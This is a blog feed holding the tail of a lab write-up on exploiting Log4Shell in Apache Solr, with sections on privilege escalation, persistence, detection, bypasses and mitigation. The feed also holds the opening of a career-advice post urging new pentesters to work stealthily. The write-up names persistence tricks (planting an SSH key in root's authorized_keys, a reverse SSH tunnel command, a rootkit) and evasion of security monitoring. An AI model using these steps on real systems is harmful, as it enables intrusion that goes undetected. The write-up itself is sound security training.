&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;a href=&quot;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;this post&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a very good and well-established source most people refer to.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;In our case, priv esc results to be quite trivial, almost disappointing.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;In fact, based on the output from &lt;span style=&quot;font-family: courier;&quot;&gt;sudo -l&lt;/span&gt; command, the &lt;span style=&quot;font-family: courier;&quot;&gt;solr&lt;/span&gt; user can run any commands as root without needing to provide any password&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;. At this point, we can run &lt;span style=&quot;font-family: courier;&quot;&gt;bash&lt;/span&gt; as root to spawn a root shell.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEie1vuTt-VmhgtN1Ri_GDqELI1dZZvkDKxizDM_onc1yH6Vuyb7Xeu6I4xtw-jpMCNx7vDhNyAP-_MQ3U71PUTLDfWK6Qb5DfXc80ehYsY4bqI8kDQbXMMjJgPu4UFlak6D1UElDcpYJNAcjjGQsthapXDMAFM-8i5PFjw7O9pb2vtOZtpsSuqBno_k7A=s1094&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;378&quot; data-original-width=&quot;1094&quot; height=&quot;222&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEie1vuTt-VmhgtN1Ri_GDqELI1dZZvkDKxizDM_onc1yH6Vuyb7Xeu6I4xtw-jpMCNx7vDhNyAP-_MQ3U71PUTLDfWK6Qb5DfXc80ehYsY4bqI8kDQbXMMjJgPu4UFlak6D1UElDcpYJNAcjjGQsthapXDMAFM-8i5PFjw7O9pb2vtOZtpsSuqBno_k7A=w640-h222&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;In order to achieve persistence, the TryHackMe guide suggests to change the password for &lt;span&gt;solr&lt;/span&gt; user by running the &lt;span&gt;passwd&lt;/span&gt; command as root, as the target host runs SSH on port 22&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;This will allow to SSH to the victim machine as an authorized user and gain a more stable shell.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;i&gt;I don&#39;t personally believe this is the best way to achieve persistence, and it&#39;s not what I&#39;d personally do in a real-world engagement. &lt;/i&gt;In fact, such change would leave a suspicious audit trail and could also lock out a valid user, raising a red flag that could get you immediately caught by the target&#39;s SOC/sysadmin.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;I believe a much better solution would be to add your own SSH key to the &lt;span style=&quot;font-family: courier;&quot;&gt;/root/.ssh/authorized_keys&lt;/span&gt; file and then SSH to the target with your user account. This will create much less noise and should work just fine, unless the &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;/root/.ssh/authorized_keys&lt;/span&gt; file &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;is locked down and patched. Another solution could be an SSH reverse shell (&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;ssh -R -N 2200:localhost:22 user@targe&lt;/span&gt;t) but maybe &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;a rootkit would be needed to hide the associated process (thanks to my friend Aqeeb for this last tip).&lt;/p&gt;&lt;p&gt;Anyway, we can now SSH to the machine and become root, as explained earlier. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;DETECTION&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Finding applications vulnerable to CVE-2021-44228 &quot;Log4Shell&quot; is hard and detecting exploitation might be even harder, as a virtually unlimited amount of potential bypasses is available.&amp;nbsp;&lt;/p&gt;&lt;p&gt;In our case, after hacking into the machine, we can analyze the log file vulnerable to the exploit (&lt;span style=&quot;font-family: courier;&quot;&gt;/var/solr/logs/solr.log&lt;/span&gt;).&lt;/p&gt;&lt;p&gt;As we didn&#39;t use any obfuscation, we can easily spot the JNDI attack syntax we used. Of course, in real-world scenarios, this wouldn&#39;t be that easy.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjqpBZZO9fSh_0NRDDdk1023348V6nodhDQtpFTiI57k_yN5cN27TjYLaIFtiLw5fEtPmonXjRX6TJlVEQAza8LgQ2oom6SKz2HpCjUfXvrdJd2ZnrlXDdyL8hWT1KBsCB_ner4wk0yzunaNN2H4Sg5_kqqzSONbWdvBnsUN2pGFGEdz2hnoJLedhL9WQ=s1087&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;778&quot; data-original-width=&quot;1087&quot; height=&quot;458&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjqpBZZO9fSh_0NRDDdk1023348V6nodhDQtpFTiI57k_yN5cN27TjYLaIFtiLw5fEtPmonXjRX6TJlVEQAza8LgQ2oom6SKz2HpCjUfXvrdJd2ZnrlXDdyL8hWT1KBsCB_ner4wk0yzunaNN2H4Sg5_kqqzSONbWdvBnsUN2pGFGEdz2hnoJLedhL9WQ=w640-h458&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;i&gt;BYPASSES&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The above attack uses a typical syntax that can be easily detected by WAFs and by well trained blue teamers, so it might be worth adding more sophistication to it in order to hide, mask, or obfuscate the payload. The guide suggests a list of bypasses to try out. I tried a couple of them but, though the &lt;span style=&quot;font-family: courier;&quot;&gt;curl&lt;/span&gt; command was successful, I didn&#39;t receive a reverse shell.&lt;/p&gt;&lt;p&gt;I&#39;ll leave this as an exercise to my readers and refer you guys to &lt;a href=&quot;https://www.manrajbansal.com/post/exploiting-log4j-apache-solr&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;this good post&lt;/a&gt; for more details.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;MITIGATION&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The best defense against the log4shell exploit is to apply all available patches to the vulnerable log4j library.&lt;/p&gt;&lt;p&gt;However, researchers proved patches don&#39;t completely fix the problem, plus they can&#39;t be applied when the library can&#39;t be updated.&lt;/p&gt;&lt;p&gt;For these situations, Microsoft recommended specific &lt;a href=&quot;https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;mitigation strategies&lt;/a&gt;. The THM room illustrates how to apply one of them, setting the &lt;span style=&quot;font-family: courier;&quot;&gt;log4j2.formatMsgNoLookups&lt;/span&gt; parameter to ‘&lt;span style=&quot;font-family: courier;&quot;&gt;true&lt;/span&gt;’, in order to disable the vulnerable feature.&lt;/p&gt;&lt;p&gt;For this purpose, we want to access the machine and edit the&lt;span style=&quot;font-family: courier;&quot;&gt; /etc/default/solr.in.sh&lt;/span&gt; file by adding the following line of code, that will disable the vulnerable functionality:&amp;nbsp; &lt;b&gt;&lt;code&gt;SOLR_OPTS=&quot;$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true&quot;.&lt;/code&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;We then need to restart the Apache Solr service&lt;/span&gt; &lt;/code&gt;&lt;code&gt;(&lt;/code&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; /etc/init.d/solr restart&lt;/span&gt;).&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;After doing so, if we repeat all the attack steps, this time we&#39;re unable to receive a reverse shell, as the attack gets blocked.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;i&gt;PATCHING&lt;/i&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;The log4j vulnerability hasn&#39;t been fully patched at the moment, and the situation is constantly evolving.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;The best course of action in such uncertain scenarios is to review the business reasons justifying using such vulnerable logging feature. If this is justified business wise, appropriate mitigation strategies, such as restricting access to specific IPs, based on ACLs, firewall rules or a VPN connection, should be adopted.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;If the vulnerable feature can be safely disabled without causing any business disruption, the method described in the THM guide is a good solution.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;&lt;b&gt;WRAP-UP&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;I
 believe the TryHackMe room offers a very well designed and pretty 
realistic simulation where to safely practice the log4j vulnerability,
at the same time providing a good overview of what real-world penetration testing is 
about.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;In fact, a penetration test is but a tool to support the business, and its result must be expressed in business terms.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;As a pentester, I don&#39;t simply exploit a vulnerability, but also report on what was done wrong, how to remediate or mitigate the factors that caused the vulnerability and what was done right.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;If a client follows security best practices and/or implements the right mitigation strategies, all this must find its way in the report.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;The only missing part here from a real-world process would be report writing but, as it implies client privacy issues, that makes perfect sense.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;language-shell-session&quot;&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token bash language-bash&quot;&gt;&lt;span style=&quot;font-family: trebuchet;&quot;&gt;I personally cheer to this initiative and hope more training providers will follow suit.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2022/02/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/-_rEnpAV2Ts/default.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-8144063589953018077</guid><pubDate>Mon, 01 Nov 2021 01:57:00 +0000</pubDate><atom:updated>2023-07-09T11:14:20.449-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking #pentesting</category><title>Tips for an Information Security Analyst/Pentester career - Ep. 88 - New Pentester? Less CTFs, More Ninja.</title><description>&lt;p&gt;I&#39;ve recently turned 3 years in my pentesting role and, over this time, I&#39;ve trained new guys approaching the industry, every now and then.&lt;/p&gt;&lt;div&gt;Over time, I realized most beginners share a common mindset that can create issues when dealing with their first real-world engagements.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;BACKGROUND&lt;/i&gt;&lt;/div&gt;&lt;div&gt;When newcomers attempt to break into the pentesting industry, the main obstacle they face is their lack of experience.&lt;/div&gt;&lt;div&gt;Experience is often a hard requirement as an entry barrier because real-world targets are much more complex and hardened, and way more prone to crash.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So, aspiring pentesters try to make up for their lack of experience by engaging in training platforms like Hack The Box (HTB), TryHackMe (THM), Offensive Security Proving Grounds (PG), and a bunch of other ones, you name it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This is a good approach because:&lt;/div&gt;&lt;ol&gt;&lt;li&gt;&lt;div&gt;It shows real motivation&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;Some vulnerable machines might allow to learn techniques that can be applied (to a certain extent) to real-world targets.&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiNIRxRCnyJAwtq-zeXmnxIvPy6AjNbtARmkyixyuk9oFxUr9eRrAnm4aoaYIv1zk6vXpssrvIPSFYpbTTNJZ7lN_jsSr8goY8GQZT8A8592idQlyKPmZ3qBJmOU6j9huILyK_N8USIxB3LZHJkDJrdYnEZBTXEint1FZGdoxS4C_vkjh1gxGxGnbKCkg=s805&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;805&quot; data-original-width=&quot;700&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiNIRxRCnyJAwtq-zeXmnxIvPy6AjNbtARmkyixyuk9oFxUr9eRrAnm4aoaYIv1zk6vXpssrvIPSFYpbTTNJZ7lN_jsSr8goY8GQZT8A8592idQlyKPmZ3qBJmOU6j9huILyK_N8USIxB3LZHJkDJrdYnEZBTXEint1FZGdoxS4C_vkjh1gxGxGnbKCkg=s320&quot; width=&quot;278&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhcUMpZBhsW6r-Jxt4xCdlAQD7u_g64qHXuLZuWUqCC6IFG8uzR8Bu2e_qfI5vdM-KBsDJfAybAk6E2AhEOfVafSpL_UvzJ7zDOw5MoBnPMmWGR17VA9x3NpZS9jZXQuZQ7a3oB1mJeFl3SlWRmwfK0AR3gN-PnDDuXyzRJN0p5Ywh6JBErgmXEbBgl3A=s635&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;635&quot; data-original-width=&quot;600&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhcUMpZBhsW6r-Jxt4xCdlAQD7u_g64qHXuLZuWUqCC6IFG8uzR8Bu2e_qfI5vdM-KBsDJfAybAk6E2AhEOfVafSpL_UvzJ7zDOw5MoBnPMmWGR17VA9x3NpZS9jZXQuZQ7a3oB1mJeFl3SlWRmwfK0AR3gN-PnDDuXyzRJN0p5Ywh6JBErgmXEbBgl3A=s320&quot; width=&quot;302&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Some employers are open to invest on a beginner, if they think he/she can bring something unique to the table.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Also, being active in training platforms is sometimes considered as a plus that helps a candidate stand out, and might be a factor in hiring decisions.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This is awesome, and I firmly believe we need to give junior pentesters a fair chance.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I wouldn&#39;t be here talking about this topic if someone hadn&#39;t taken a chance on me.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Such a big CTF-oriented mindset, though, can cause some problems in the long run when working with real-world targets.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;When moving to a real pentesting career,&amp;nbsp; you need to unlearn CTFs and become much more of a ninja&lt;/span&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;After a while, you realize real-world targets are way more hardened and 99% of the scenarios you&#39;re used to are unrealistic. In other words, training platforms should resemble as closely as possible, but not replicate, real targets, the same way a practice exam doesn&#39;t necessarily contain the same questions you&#39;ll find in the real exam. They should prepare testers but not necessarily be considered as realistic scenarios. Other than CTFs, other paths like software development, programming or system administration can&amp;nbsp; be a real plus when migrating to pentesting.&lt;/i&gt; The time spent writing code on Python will pay off when you don’t have
 anything but Python. If you ever built a network, the knowledge of 
protocols coming from it might be the key to entering the network. If you ever held a 
sysadmin job, it might just be the knowledge you need to 
understand priv esc better. The more diverse your background and the technologies you deal with over your career, the better pentester you&#39;ll become. Even a project that might seem at first unrelated to security might come in handy at a later time.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span data-markholder=&quot;true&quot;&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;i&gt;ISSUES&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span data-markholder=&quot;true&quot;&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;&lt;div&gt;Too much focus on tools&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;Jumping to conclusions overlooking recon&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;Using loud and potentially disruptive techniques&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;Overlooking the importance of documenting your work as you go&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;&lt;div&gt;&lt;i&gt;Too much focus on tools&lt;/i&gt;:&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;When you solve machines on platforms like HTB,&amp;nbsp; you&#39;re mostly focused on the best tools to get the job done (Recon? Nmap. Exploitation? Metasploit, etc.).&lt;/div&gt;&lt;div&gt;This causes new pentesters to be too focused on specific tools, so much that they get lost if they can&#39;t use them in the specific testing context. What if you don&#39;t have Nmap installed in a pentesting jumpbox, and don&#39;t have the needed permissions to install it? How would you go about it? You need to get the job done and deliver regardless.&amp;nbsp; That&#39;s when you need to learn how to &lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;live off the land&lt;/span&gt;&lt;/b&gt;,&lt;/i&gt; i.e. use the tools available on the testing machine. For *nix systems, you can use Python (if available) for port scanning. If Python isn&#39;t available either, you can use &lt;span style=&quot;font-family: courier;&quot;&gt;/dev/tcp&lt;/span&gt;, which is a native functionality, for the same purpose. Another solution can be using a SOCKS proxy. However, a SOCKS proxy can’t help you when you’re doing ICMP based attacks.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For Windows, you can use both Python (if available) or PowerShell (native).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Pentesters, and especially red teamers, need to learn how to perform their jobs without relying on specific tools. For example, you don&#39;t necessarily need &lt;span style=&quot;font-family: courier;&quot;&gt;Burp&lt;/span&gt; to grab a webserver header. You can use the developer tools in your browser, &lt;span style=&quot;font-family: courier;&quot;&gt;netcat&lt;/span&gt;, &lt;span style=&quot;font-family: courier;&quot;&gt;telnet&lt;/span&gt; and &lt;span style=&quot;font-family: courier;&quot;&gt;curl&lt;/span&gt; for this purpose.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Knowing common tools is a good thing but a hacker doesn&#39;t DEPEND on them. In real-world penetration tests, time is a factor and you&#39;re more often prone/forced to use off the shelf tools to complete the project within the allotted number of hours you got assigned. However, you also have to try alternative solutions when they don&#39;t work, or can&#39;t be used. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In red teaming engagements, you need to be as stealthier as possible, so installing new tools is not an option, cause you don&#39;t want to generate a revealing audit trail. Also, you want to generate as less noise as possible, so &lt;span style=&quot;font-family: courier;&quot;&gt;Nmap&lt;/span&gt;, for example, might not be the best tool for the job, because IPSs and SIEMs can recognize the traffic they generate.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;ol start=&quot;2&quot;&gt;&lt;li&gt;&lt;div&gt;&lt;i&gt;Jumping to conclusions overlooking recon&lt;/i&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;i&gt;&lt;span 